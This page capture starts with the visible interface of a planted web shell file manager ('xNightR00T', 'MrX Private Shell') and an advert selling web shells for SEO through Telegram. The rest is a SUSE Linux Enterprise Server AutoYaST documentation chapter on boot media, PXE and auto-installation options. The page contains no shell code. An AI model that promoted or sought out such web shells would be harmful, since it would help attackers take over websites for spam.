xNightR00T File Manager

Current Directory:

	Name	Size	Permission	Modified	Actions
Loading...

$ Waiting for command...

__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleet

<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>The Auto-Installation Process | AutoYaST | SUSE Linux Enterprise Server 12 SP1</title><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" /><link rel="stylesheet" type="text/css" href="static/css/style.css" /><meta name="generator" content="DocBook XSL Stylesheets V1.78.1" /><meta name="product-name" content="SUSE Linux Enterprise Server" /><meta name="product-number" content="12 SP1" /><meta name="book-title" content="AutoYaST" /><meta name="chapter-title" content="Chapter 6. The Auto-Installation Process" /> <meta name="tracker-url" content="https://bugzilla.suse.com/enter_bug.cgi" /><meta name="tracker-type" content="bsc" /><meta name="tracker-bsc-assignee" content="fs@suse.com" /><meta name="tracker-bsc-component" content="Documentation" /><meta name="tracker-bsc-product" content="SUSE Linux Enterprise Server 12 SP1" /><link rel="home" href="index.html" title="SUSE Linux Enterprise Server Documentation" /><link rel="up" href="book.autoyast.html" title="AutoYaST" /><link rel="prev" href="rulesandclass.html" title="Chapter 5. Rules and Classes" /><link rel="next" href="handlingrules.html" title="Appendix A. Handling Rules" /><script type="text/javascript"> var protocol = window.location.protocol.toLowerCase(); if ( protocol != 'file:' ) { var agent = navigator.userAgent.toLowerCase(); var wanted = ( protocol == 'https:') ? 'https' : 'http'; var file = 'fonts.css'; if (agent.indexOf('android') != -1 && agent.indexOf('chrom') != -1 ) { file = 'fonts-nolocal.css'; } document.write('<link rel="stylesheet" type="text/css" href="' + wanted + '://static.opensuse.org/fonts/'+ file +'"></link>'); } else { document.write('<link rel="stylesheet" type="text/css" href="static/css/fonts-onlylocal.css"></link>'); } </script><noscript><link rel="stylesheet" type="text/css" href="http://static.opensuse.org/fonts/fonts.css" /></noscript><script src="static/js/jquery-1.10.2.min.js" type="text/javascript"></script><script src="static/js/script.js" type="text/javascript"></script></head><body class="offline js-off"><div id="_outer-wrap"><div id="_white-bg"><div id="_header"><div id="_logo"><img src="static/images/logo.png" alt="Logo" /></div><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="Invoking.html">The Auto-Installation Process</a></div><div class="clearme"></div></div></div><div id="_toolbar-wrap"><div id="_toolbar"><div id="_toc-area" class="inactive"><a id="_toc-area-button" class="tool" title="Contents" accesskey="c" href="index.html"><span class="tool-spacer"><span class="toc-icon">Contents</span><span class="clearme"></span></span><span class="tool-label">Contents</span></a><div class="active-contents bubble-corner"></div><div class="active-contents bubble"><div class="bubble-container"><h6>AutoYaST</h6><div id="_bubble-toc"><ol><li class="inactive"><a href="introduction.html"><span class="number">1 </span><span class="name">Introduction</span></a></li><li class="inactive"><a href="Profile.html"><span class="number">2 </span><span class="name">The Control File</span></a></li><li class="inactive"><a href="CreateProfile.html"><span class="number">3 </span><span class="name">Creating A Control File</span></a></li><li class="inactive"><a href="configuration.html"><span class="number">4 </span><span class="name">Configuration and Installation Options</span></a></li><li class="inactive"><a href="rulesandclass.html"><span class="number">5 </span><span class="name">Rules and Classes</span></a></li><li class="inactive"><a href="Invoking.html"><span class="number">6 </span><span class="name">The Auto-Installation Process</span></a></li><li class="inactive"><a href="handlingrules.html"><span class="number">A </span><span class="name">Handling Rules</span></a></li><li class="inactive"><a href="appendix.linuxrc.html"><span class="number">B </span><span class="name">Advanced Linuxrc Options</span></a></li><li class="inactive"><a href="app.ay.docupdates.html"><span class="number">C </span><span class="name">Documentation Updates</span></a></li><li class="inactive"><a href="bk04apd.html"><span class="number">D </span><span class="name">GNU Licenses</span></a></li></ol></div><div class="clearme"></div></div></div></div><div id="_nav-area" class="inactive"><div class="tool"><span class="nav-inner"><span class="tool-label">Navigation</span><a accesskey="p" class="tool-spacer" title="Chapter 5. Rules and Classes" href="rulesandclass.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Appendix A. Handling Rules" href="handlingrules.html"><span class="next-icon">→</span></a></span></div></div></div></div><div id="_fixed-header-wrap" class="inactive"><div id="_fixed-header"><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="Invoking.html">The Auto-Installation Process</a></div><div class="buttons"><a class="top-button button" href="#">Top</a><div class="button"><a accesskey="p" class="tool-spacer" title="Chapter 5. Rules and Classes" href="rulesandclass.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Appendix A. Handling Rules" href="handlingrules.html"><span class="next-icon">→</span></a></div><div class="clearme"></div></div><div class="clearme"></div></div></div><div id="_content" class=""><div class="documentation"><div class="chapter " id="Invoking"><div class="titlepage"><div><div class="version-info">Applies to <span class="productname"><span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span></span> <span class="productnumber"><span class="productnumber"><span class="phrase">12 SP1</span></span></span></div><div><h1 class="title"><span class="number">6 </span><span class="name">The Auto-Installation Process</span> </h1></div></div></div><div class="line"><div class="toc"><dl><dt><span class="sect1"><a href="Invoking.html#Installation.process"><span class="number">6.1 </span><span class="name">Introduction</span></a></span></dt><dt><span class="sect1"><a href="Invoking.html#bootmedium"><span class="number">6.2 </span><span class="name">Choosing the Right Boot Medium</span></a></span></dt><dt><span class="sect1"><a href="Invoking.html#invoking_autoinst"><span class="number">6.3 </span><span class="name">Invoking the Auto-Installation Process</span></a></span></dt><dt><span class="sect1"><a href="Invoking.html#System_Configuration"><span class="number">6.4 </span><span class="name">System Configuration</span></a></span></dt></dl></div></div><p></p><div class="sect1 " id="Installation.process"><div class="titlepage"><div><div><h2 class="title" id="Installation.process"><span class="number">6.1 </span><span class="name">Introduction</span> <a title="Permalink" class="permalink" href="Invoking.html#Installation.process">#</a></h2></div></div></div><p> After the system has booted into an automatic installation and the control file has been retrieved, YaST configures the system according to the information provided in the control file. All configuration settings are summarized in a window that is shown by default and should be deactivated if a fully automatic installation is needed. </p><p> By the time YaST displays the summary of the configuration, YaST has only probed hardware and prepared the system for auto-installation. Nothing has been changed in the system yet. In case of any error, you can still abort the process. </p><p> A system should be automatically installable without the need to have any graphic adapter or monitor. Having a monitor attached to the client machine is nevertheless recommended so you can supervise the process and to get feedback in case of errors. Choose between the graphical and the text-based Ncurses interfaces. For headless clients, system messages can be monitored using the serial console. </p><div class="sect2 " id="Installation.Interface.X11"><div class="titlepage"><div><div><h3 class="title" id="Installation.Interface.X11"><span class="number">6.1.1 </span><span class="name">X11 Interface (graphical)</span> <a title="Permalink" class="permalink" href="Invoking.html#Installation.Interface.X11">#</a></h3></div></div></div><p> This is the default interface while auto-installing. No special variables are required to activate it. </p></div><div class="sect2 " id="Installation.Interface.SerialConsole"><div class="titlepage"><div><div><h3 class="title" id="Installation.Interface.SerialConsole"><span class="number">6.1.2 </span><span class="name">Serial console</span> <a title="Permalink" class="permalink" href="Invoking.html#Installation.Interface.SerialConsole">#</a></h3></div></div></div><p> Start installing a system using the serial console by adding the keyword <code class="literal">console</code> (for example <code class="literal">console=ttyS0</code>) to the command line of the kernel. This starts linuxrc in console mode and later YaST in serial console mode. </p></div><div class="sect2 " id="Installation.Interface.Ncurses"><div class="titlepage"><div><div><h3 class="title" id="Installation.Interface.Ncurses"><span class="number">6.1.3 </span><span class="name">Text-based YaST Installation</span> <a title="Permalink" class="permalink" href="Invoking.html#Installation.Interface.Ncurses">#</a></h3></div></div></div><p> This option can also be activated on the command line. To start YaST in text mode, add <code class="literal">textmode=1</code> on the command line. </p><p> Starting YaST in text mode is recommended when installing a client with less than 64 MB or when X11 should not be configured, especially on headless machines. </p></div></div><div class="sect1 " id="bootmedium"><div class="titlepage"><div><div><h2 class="title" id="bootmedium"><span class="number">6.2 </span><span class="name">Choosing the Right Boot Medium</span> <a title="Permalink" class="permalink" href="Invoking.html#bootmedium">#</a></h2></div></div></div><p> There are different methods for booting the client. The computer can boot from its network interface card (NIC) to receive the boot images via DHCP or TFTP. Alternatively a suitable kernel and initrd image can be loaded from a flash disk or a bootable DVD-ROM. </p><p> YaST will check for <code class="filename">autoinst.xml</code> in the root directory of the boot medium or the initrd upon start-up and switch to an automated installation if it was found. In case the control file is named differently or located elsewhere, specify its location on the Kernel command line with the parameter <code class="literal">AutoYaST=<em class="replaceable ">URL</em></code>. </p><div class="sect2 " id="bootmedium.flash"><div class="titlepage"><div><div><h3 class="title" id="bootmedium.flash"><span class="number">6.2.1 </span><span class="name">Booting from a Flash Disk</span> <a title="Permalink" class="permalink" href="Invoking.html#bootmedium.flash">#</a></h3></div></div></div><p> For testing/rescue purposes or because the NIC does not have a PROM or PXE you can build a bootable flash disk to use with AutoYaST. Flash disks can also store the control file. </p><div id="idm140013813526704" class="admonition tip"><img class="symbol" alt="Tip" title="Tip" src="static/images/icon-tip.png" /><h6>Tip: Creating a Bootable Flash Disk</h6><p> To create a bootable flash disk, you need to copy either the <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> iso image of DVD1 or the Mini CD iso image to the disk using the dd command (the flash disk must not be mounted, all data on the device will be erased): </p><div class="verbatim-wrap"><pre class="screen">dd if=PATH_TO_ISO_IMAGE of=USB_STORAGE_DEVICE bs=4M</pre></div></div></div><div class="sect2 " id="bootmedium.dvd"><div class="titlepage"><div><div><h3 class="title" id="bootmedium.dvd"><span class="number">6.2.2 </span><span class="name">Booting from DVD-ROM</span> <a title="Permalink" class="permalink" href="Invoking.html#bootmedium.dvd">#</a></h3></div></div></div><p> You can use the original <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> DVD-ROM number one in combination with other media. For example, the control file can be provided via a flash disk or a specified location on the network. Alternatively, create a customized DVD-ROM that includes the control file. </p></div><div class="sect2 " id="bootmedium.pxe"><div class="titlepage"><div><div><h3 class="title" id="bootmedium.pxe"><span class="number">6.2.3 </span><span class="name">Booting via PXE over the Network</span> <a title="Permalink" class="permalink" href="Invoking.html#bootmedium.pxe">#</a></h3></div></div></div><p> Booting via PXE requires a DHCP and a TFTP server in your network. The computer will then boot then without a physical medium. Refer to <span>Chapter 13, <em>Remote Installation</em>, <em><em class="citetitle ">Deployment Guide</em></em></span> for instructions on how to set up the required infrastructure. </p><p> A problem you might run into if you do installation via PXE is that the installation will run into an endless loop, because after the first reboot, the machine is doing PXE boot again and restarts the installation instead of booting from hard disk for the second stage of the installation. </p><p> This problem can be solved in different ways. One way is to use an HTTP server to provide the AutoYaST control file. And, instead of a static control file, run a CGI script on the Web server that provides the control file and changes the TFTP server configuration for your target host. Then the next PXE boot of the machine will be from hard disk by default. </p><p> Another way is to use AutoYaST to upload a new PXE boot configuration for the target host via the control file: </p><div class="verbatim-wrap"><pre class="screen"><pxe> <pxe_localboot config:type="boolean">true</pxe_localboot> <pxelinux-config> DEFAULT linux LABEL linux localboot 0 </pxelinux-config> <tftp-server>192.168.1.115</tftp-server> <pxelinux-dir>/pxelinux.cfg</pxelinux-dir> <filename>__MAC__</filename> </pxe></pre></div><p> This entry will upload a new configuration for the target host to the TFTP server shortly before the first reboot happens. In most installations the TFTP daemon runs as user <code class="systemitem">nobody</code>. You need to make sure this user has write permissions to the <code class="filename">pxelinux.cfg</code> directory. You can also configure the file name that will be uploaded. If you use the <span class="quote">“<span class="quote">magic</span>”</span> <code class="literal">__MAC__</code> file name, the file name will be the MAC address of your machine like, for example <code class="literal">01-08-00-27-79-49-ee</code>. If the file name setting is missing, the IP address will be used for the file name. </p><p> If you want to do another auto-installation on the same machine, you need to remove the file from the TFTP server. </p></div></div><div class="sect1 " id="invoking_autoinst"><div class="titlepage"><div><div><h2 class="title" id="invoking_autoinst"><span class="number">6.3 </span><span class="name">Invoking the Auto-Installation Process</span> <a title="Permalink" class="permalink" href="Invoking.html#invoking_autoinst">#</a></h2></div></div></div><p> </p><div class="sect2 " id="invoking_autoinst.options"><div class="titlepage"><div><div><h3 class="title" id="invoking_autoinst.options"><span class="number">6.3.1 </span><span class="name">Command Line Options</span> <a title="Permalink" class="permalink" href="Invoking.html#invoking_autoinst.options">#</a></h3></div></div></div><p> Adding the command line variable <code class="literal">autoyast</code> causes linuxrc to start in automated mode. linuxrc searches for a configuration file, which should be distinguished from the main control file in the following places: </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p> in the root directory of the initial RAM disk used for booting the system, </p></li><li class="listitem "><p> in the root directory of the boot medium </p></li></ul></div><p> The configuration file used by linuxrc can have the following keywords (for a detailed description of how linuxrc works and other keywords, see <a class="xref" href="appendix.linuxrc.html" title="Appendix B. Advanced Linuxrc Options">Appendix B, <em>Advanced Linuxrc Options</em></a>): </p><div class="table" id="idm140013813502016"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 6.1: </span><span class="name">Keywords for linuxrc </span><a title="Permalink" class="permalink" href="Invoking.html#idm140013813502016">#</a></h6></div><div class="table-contents"><table summary="Keywords for linuxrc" border="1"><colgroup><col /><col /></colgroup><thead><tr><th> <p> Keyword </p> </th><th> <p> Value </p> </th></tr></thead><tbody><tr><td> <p> <code class="literal">autoupgrade</code> </p> </td><td> <p> Initiate an automatic upgrade using AutoYaST. Also requires the <code class="literal">autoyast</code> parameter (see <a class="xref" href="Invoking.html#Commandline.ay" title="Command Line Variables for AutoYaST">Table 6.2, “Command Line Variables for AutoYaST”</a> for details). </p> </td></tr><tr><td> <p> <code class="literal">autoyast</code> </p> </td><td> <p> Location of the control file for automatic installation, see <a class="xref" href="Invoking.html#Commandline.ay" title="Command Line Variables for AutoYaST">Table 6.2, “Command Line Variables for AutoYaST”</a> for details. </p> </td></tr><tr><td> <p> <code class="literal">gateway</code> </p> </td><td> <p> Gateway </p> </td></tr><tr><td> <p> <code class="literal">hostip</code> </p> </td><td> <p> When empty, client sends BOOTP request, otherwise client is configured with entered IP configuration. </p> </td></tr><tr><td> <p> <code class="literal">insmod</code> </p> </td><td> <p> Kernel modules to load </p> </td></tr><tr><td> <p> <code class="literal">install</code> </p> </td><td> <p> Location of the installation directory, for example <code class="literal">install=nfs://192.168.2.1/CDs/</code>. </p> </td></tr><tr><td> <p> <code class="literal">instmode</code> </p> </td><td> <p> Installation mode, for example <code class="literal">nfs</code>, <code class="literal">http</code> etc. (not needed if <code class="literal">install</code> is set). </p> </td></tr><tr><td> <p> <code class="literal">nameserver</code> </p> </td><td> <p> Name Server </p> </td></tr><tr><td> <p> <code class="literal">netdevice</code> </p> </td><td> <p> Network device to use for network setup (for BOOTP and DHCP requests) </p> </td></tr><tr><td> <p> <code class="literal">netmask</code> </p> </td><td> <p> Netmask </p> </td></tr><tr><td> <p> <code class="literal">server</code> </p> </td><td> <p> Server (NFS) to contact for source directory </p> </td></tr><tr><td> <p> <code class="literal">serverdir</code> </p> </td><td> <p> Directory on NFS Server </p> </td></tr><tr><td> <p> <code class="literal">y2confirm</code> </p> </td><td> <p> Even with <confirm>no</confirm> in the control file, the confirm proposal comes up. </p> </td></tr></tbody></table></div></div><p> These variables and keywords will bring the system up to the point where YaST can take over with the main control file. Currently, the source medium is automatically discovered, which in some cases makes it possible to initiate the auto-install process without giving any instructions to linuxrc. </p><p> The traditional linuxrc configuration file (<code class="filename">info</code>) has the function of giving the client enough information about the installation server and the location of the sources. Usually this file is not needed; it is however needed in special network environments where DHCP and BOOTP are not used or when special kernel modules need to be loaded. </p><p> All linuxrc keywords can be passed to linuxrc using the kernel command line. The command line can also be set when creating network bootable images or it can be passed to the kernel using a specially configured DHCP server in combination with Etherboot or PXE. </p><p> The command line variable <code class="literal">autoyast</code> can be used in the format described in table <span class="quote">“<span class="quote"><a class="xref" href="Invoking.html#Commandline.ay" title="Command Line Variables for AutoYaST">Table 6.2, “Command Line Variables for AutoYaST”</a></span>”</span> </p><div class="table" id="Commandline.ay"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 6.2: </span><span class="name">Command Line Variables for AutoYaST </span><a title="Permalink" class="permalink" href="Invoking.html#Commandline.ay">#</a></h6></div><div class="table-contents"><table summary="Command Line Variables for AutoYaST" border="1"><colgroup><col /><col /></colgroup><thead><tr><th> <p> Command line variable </p> </th><th> <p> Description </p> </th></tr></thead><tbody><tr><td> <p> <code class="literal">autoyast=default</code> </p> </td><td> <p> Default auto-installation option. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=file:///<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Looks for control file in specified path (relative to the source root directory, for example <code class="literal">file:///autoinst.xml</code> if in the top directory of a CD-ROM and you did an installation from CD). </p> </td></tr><tr><td> <p> <code class="literal">autoyast=device://<em class="replaceable ">DEVICE</em>/<em class="replaceable ">FILENAME</em></code> </p> </td><td> <p> Looks for control file on a storage device. Do not specify the full path to the device, but rather the device name only, for example You may also omit specifying the device and trigger AutoYaST to search all devices (<code class="literal">autoyast=device:///<em class="replaceable ">FILENAME</em></code>). </p> </td></tr><tr><td> <p> <code class="literal">autoyast=nfs://<em class="replaceable ">SERVER</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Looks for control file on an NFS server. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=http://[user:password@]<em class="replaceable ">SERVER</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Retrieves the control file from a Web server using the HTTP protocol. Specifying a user name and a password is optional. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=https://[user:password@]<em class="replaceable ">SERVER</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Retrieves the control file from a Web server using HTTPS. Specifying a user name and a password is optional. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=tftp://<em class="replaceable ">SERVER</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Retrieve the control file via TFTP. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=ftp://[user:password@]<em class="replaceable ">SERVER</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Retrieve the control file via FTP. Specifying a user name and a password is optional. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=usb://<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Retrieve the control file from USB devices (AutoYaST will search all connected USB devices). </p> </td></tr><tr><td> <p> <code class="literal">autoyast=relurl://<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Retrieve the control file from the installation source (install=....). </p> </td></tr><tr><td> <p> <code class="literal">autoyast=slp</code> </p> </td><td> <p> Query the location of the control file from an SLP server (service:autoyast:...). Optionally you may add a <code class="literal">description=</code> attribute so you can <span class="quote">“<span class="quote">translate</span>”</span> the URL into something more readable. (<code class="literal">autoyast=slp:/?descr=*SLES*</code> </p> </td></tr><tr><td> <p> <code class="literal">autoyast=cifs://<em class="replaceable ">SERVER</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Looks for control file on a CIFS server. </p> </td></tr><tr><td> <p> <code class="literal">autoyast=label://<em class="replaceable ">LABEL</em>/<em class="replaceable ">PATH</em></code> </p> </td><td> <p> Searches for a control file on a device with the specified label </p> </td></tr></tbody></table></div></div><p> Several scenarios for auto-installation are possible using different types of infrastructure and source media. The simplest way is to use the source media (DVD number one) of <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span>. To initiate the auto-installation process however, the auto-installation command line variable should be entered at system boot-up and the control file should be accessible for YaST. The following list of scenarios explains how the control file can be supplied: </p><div class="variablelist "><dl class="variablelist"><dt id="idm140013813400064"><span class="term ">Using the Original <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> DVD-ROM</span></dt><dd><p> When using the original DVD-ROM (DVD #1 is needed), the control file needs to be accessible via flash disk or network: </p><p><span class="formalpara-title">Flash Disk. </span> Access the control file via the <code class="literal">autoyast=usb://<em class="replaceable ">PATH</em></code> option. </p><p><span class="formalpara-title">Network. </span> Access the control file via the following commands: <code class="literal">autoyast=nfs://..</code>, <code class="literal">autoyast=ftp://..</code>, <code class="literal">autoyast=http://..</code>, <code class="literal">autoyast=https://..</code>, <code class="literal">autoyast=tftp://..</code>, or <code class="literal">autoyast=cifs://..</code>. </p></dd><dt id="idm140013813390800"><span class="term ">Using a Custom DVD-ROM</span></dt><dd><p> In this case, you can include the control file directly on the DVD-ROM. When placing it in the root directory and naming it <code class="filename">autoinst.xml</code>, it will automatically be found and used for the installation. Otherwise use <code class="literal">autoyast=file:///<em class="replaceable ">PATH</em></code> to specify the path to the control file. </p><p> When using a DVD-ROM for auto-installation, it is necessary to instruct the installer to use the DVD-ROM for installation and not try to find the installation files on the network. This can be accomplished by adding the <code class="literal">instmode=cd</code> option to the kernel command line (this can be automated done by adding the option to the <code class="filename">isolinux.cfg</code> file on the DVD). </p></dd><dt id="idm140013813385872"><span class="term ">Using a Network Installation Source</span></dt><dd><p> This option is the most important one because of the fact that installations of multiple machines is usually done using SLP or NFS servers and other network services like BOOTP and DHCP. The easiest way to make the control file available is to place it in the root directory of the installation source naming it <code class="filename">autoinst.xml</code>. In this case it will automatically be found and used for the installation. The control file can also reside in the following places: </p><p><span class="formalpara-title">Flash Disk. </span> Access the control file via the <code class="literal">autoyast=usb://<em class="replaceable ">PATH</em></code> option. </p><p><span class="formalpara-title">Network. </span> Access the control file via the following commands: <code class="literal">autoyast=nfs://..</code>, <code class="literal">autoyast=ftp://..</code>, <code class="literal">autoyast=http://..</code>, <code class="literal">autoyast=https://..</code>, <code class="literal">autoyast=tftp://..</code>, or <code class="literal">autoyast=cifs://..</code>. </p></dd></dl></div><div id="idm140013813376752" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Disabling Network and DHCP</h6><p> To disable the network during installations where it is not needed or unavailable, for example when auto-installing from DVD-ROMs, use the linuxrc option <code class="literal">netsetup=0</code> to disable the network setup. </p></div><p> If <code class="literal">autoyast=default</code> is defined, YaST will look for a file named <code class="filename">autoinst.xml</code> in the following three places: </p><div class="orderedlist "><ol class="orderedlist" type="1"><li class="listitem "><p> the root directory of the flash disk, </p></li><li class="listitem "><p> the root directory of the installation medium, </p></li><li class="listitem "><p> the root directory of the initial RAM disk used to boot the system. </p></li></ol></div><p> With all AutoYaST invocation options, excluding <code class="literal">default</code>, it is possible to specify the location of the control file in the following ways: </p><div class="orderedlist "><ol class="orderedlist" type="1"><li class="listitem "><p> Specify the exact location of the control file: </p><div class="verbatim-wrap"><pre class="screen">autoyast=http://192.168.1.1/control-files/client01.xml</pre></div></li><li class="listitem "><p> Specify a directory where several control files are located: </p><div class="verbatim-wrap"><pre class="screen">autoyast=http://192.168.1.1/control-files/</pre></div><p> In this case the relevant control file is retrieved using the hex digit representation of the IP as described below. </p></li></ol></div><p> If only the path prefix variable is defined, YaST will fetch the control file from the specified location in the following way: </p><div class="orderedlist "><ol class="orderedlist" type="1"><li class="listitem "><p> First, it will search for the control file using its own IP address in uppercase hexadecimal, for example <code class="literal">192.0.2.91 -> C000025B</code>. </p></li><li class="listitem "><p> If this file is not found, YaST will remove one hex digit and try again. This action is repeated until the file with the correct name is found. Ultimately, it will try looking for a file with the MAC address of the client as the file name (mac should have the following syntax: <code class="literal">0080C8F6484C</code>) and if not found a file named <code class="filename">default</code> (in lowercase). </p></li></ol></div><p> As an example, for 192.0.2.91, the HTTP client will try: </p><div class="verbatim-wrap"><pre class="screen"> C000025B C000025 C00002 C0000 C000 C00 C0 C 0080C8F6484C default </pre></div><p> in that order. </p><p> To determine the hex representation of the IP address of the client, use the utility called <code class="command">/usr/bin/gethostip</code> available with the <code class="systemitem">syslinux</code> package. </p><div class="example" id="idm140013813356544"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 6.1: </span><span class="name">Determine HEX code for an IP address </span><a title="Permalink" class="permalink" href="Invoking.html#idm140013813356544">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen"># /usr/bin/gethostip 10.10.0.1 10.10.0.1 10.10.0.1 0A0A0001</pre></div></div></div></div><div class="sect2 " id="autoinstall.singlesystem"><div class="titlepage"><div><div><h3 class="title" id="autoinstall.singlesystem"><span class="number">6.3.2 </span><span class="name">Auto-installing a Single System</span> <a title="Permalink" class="permalink" href="Invoking.html#autoinstall.singlesystem">#</a></h3></div></div></div><p> The easiest way to auto-install a system without any network connection is to use the original <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span> DVD-ROMs and a flash disk. You do not need to set up an installation server nor the network environment. </p><p> Create the control file and name it <code class="filename">autoinst.xml</code>. Copy the file <code class="filename">autoinst.xml</code> to the flash disk. </p></div><div class="sect2 " id="invoking_autoinst.linuxrc"><div class="titlepage"><div><div><h3 class="title" id="invoking_autoinst.linuxrc"><span class="number">6.3.3 </span><span class="name">Combining the linuxrc <code class="filename">info</code> file with the AutoYaST control file</span> <a title="Permalink" class="permalink" href="Invoking.html#invoking_autoinst.linuxrc">#</a></h3></div></div></div><p> If you choose to pass information to linuxrc using the <code class="filename">info</code> file, it is possible to integrate the keywords in the XML control file. In this case the file needs to be accessible to linuxrc and needs to be named <code class="filename">info</code>. </p><p> Linuxrc will look for a string (<code class="literal">start_linuxrc_conf</code> in the control file which represents the beginning of the file. If it is found, it will parse the content starting from that string and will finish when the string <code class="literal">end_linuxrc_conf</code> is found. The options are stored in the control file in the following way: </p><div class="example" id="idm140013813345632"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 6.2: </span><span class="name">Linuxrc options in the control file </span><a title="Permalink" class="permalink" href="Invoking.html#idm140013813345632">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">.... <install> .... <init> <info_file> <![CDATA[ # # Do not remove the following line: # start_linuxrc_conf # install: nfs://192.168.1.1/CDs/full-i386 textmode: 1 autoyast: file:///info # end_linuxrc_conf # Do not remove the above comment # ]]> </info_file> </init> ...... </install> .... </pre></div></div></div><p> Note that the <code class="literal">autoyast</code> keyword must point to the same file. If it is on a flash disk, then the option <code class="literal">usb:///</code> needs to be used. If the <code class="filename">info</code> file is stored in the initial RAM disk, the <code class="literal">file://</code> option needs to be used. </p></div></div><div class="sect1 " id="System_Configuration"><div class="titlepage"><div><div><h2 class="title" id="System_Configuration"><span class="number">6.4 </span><span class="name">System Configuration</span> <a title="Permalink" class="permalink" href="Invoking.html#System_Configuration">#</a></h2></div></div></div><p> The system configuration during auto-installation is the most important part of the whole process. As you have seen in the previous chapters, almost anything can be configured automatically on the target system. In addition to the pre-defined directives, you can always use post-scripts to change other things in the system. Additionally you can change any system variables, and if required, copy complete configuration files into the target system. </p><div class="sect2 " id="System_Configuration.post"><div class="titlepage"><div><div><h3 class="title" id="System_Configuration.post"><span class="number">6.4.1 </span><span class="name">Post-Install and System Configuration</span> <a title="Permalink" class="permalink" href="Invoking.html#System_Configuration.post">#</a></h3></div></div></div><p> The post-installation and system configuration are initiated directly after the last package is installed on the target system and continue after the system has booted for the first time. </p><p> Before the system is booted for the first time, AutoYaST writes all data collected during installation and writes the boot loader in the specified location. In addition to these regular tasks, AutoYaST executes the chroot-scripts as specified in the control file. Note that these scripts are executed while the system is not yet mounted. </p><p> If a different kernel than the default is installed, a hard reboot will be required. A hard reboot can also be forced during auto-installation, independent of the installed kernel. Use the <code class="literal">reboot</code> property of the <code class="literal">general</code> resource (see <a class="link" href="configuration.html#CreateProfile.General" title="4.1. General Options">General Options</a>). </p></div><div class="sect2 " id="System_Configuration.custom"><div class="titlepage"><div><div><h3 class="title" id="System_Configuration.custom"><span class="number">6.4.2 </span><span class="name">System Customization</span> <a title="Permalink" class="permalink" href="Invoking.html#System_Configuration.custom">#</a></h3></div></div></div><p> Most of the system customization is done in the second stage of the installation. If you require customization that cannot be done using AutoYaST resources, use post-install scripts for further modifications. </p><p> You can define an unlimited number of custom scripts in the control file, either by editing the control file or by using the configuration system. </p></div></div></div></div><div class="page-bottom"><div id="_bottom-navigation"><a class="nav-link" href="handlingrules.html"><span class="next-icon">→</span><span class="nav-label"><span class="number">Appendix A </span>Handling Rules</span></a><a class="nav-link" href="rulesandclass.html"><span class="prev-icon">←</span><span class="nav-label"><span class="number">Chapter 5 </span>Rules and Classes</span></a></div><div id="_share-print"><div class="online-contents share"><strong>Share this page: </strong><span class="share-buttons"><span id="_share-fb" class="bottom-button">Facebook</span><span class="spacer"> • </span><span id="_share-gp" class="bottom-button">Google+</span><span class="spacer"> • </span><span id="_share-tw" class="bottom-button">Twitter</span><span class="spacer"> • </span><span id="_share-mail" class="bottom-button">E-Mail</span></span></div><div class="print"><span id="_print-button" class="bottom-button">Print this page</span></div><div class="clearme"></div></div></div></div><div id="_inward"></div></div><div id="_footer-wrap"><div id="_footer"><p>© 2015 SUSE</p><ul><li><a href="http://www.suse.com/company/careers/" target="_top">Careers</a></li><li><a href="http://www.suse.com/company/legal/" target="_top">Legal</a></li><li><a href="http://www.suse.com/company/" target="_top">About</a></li><li><a 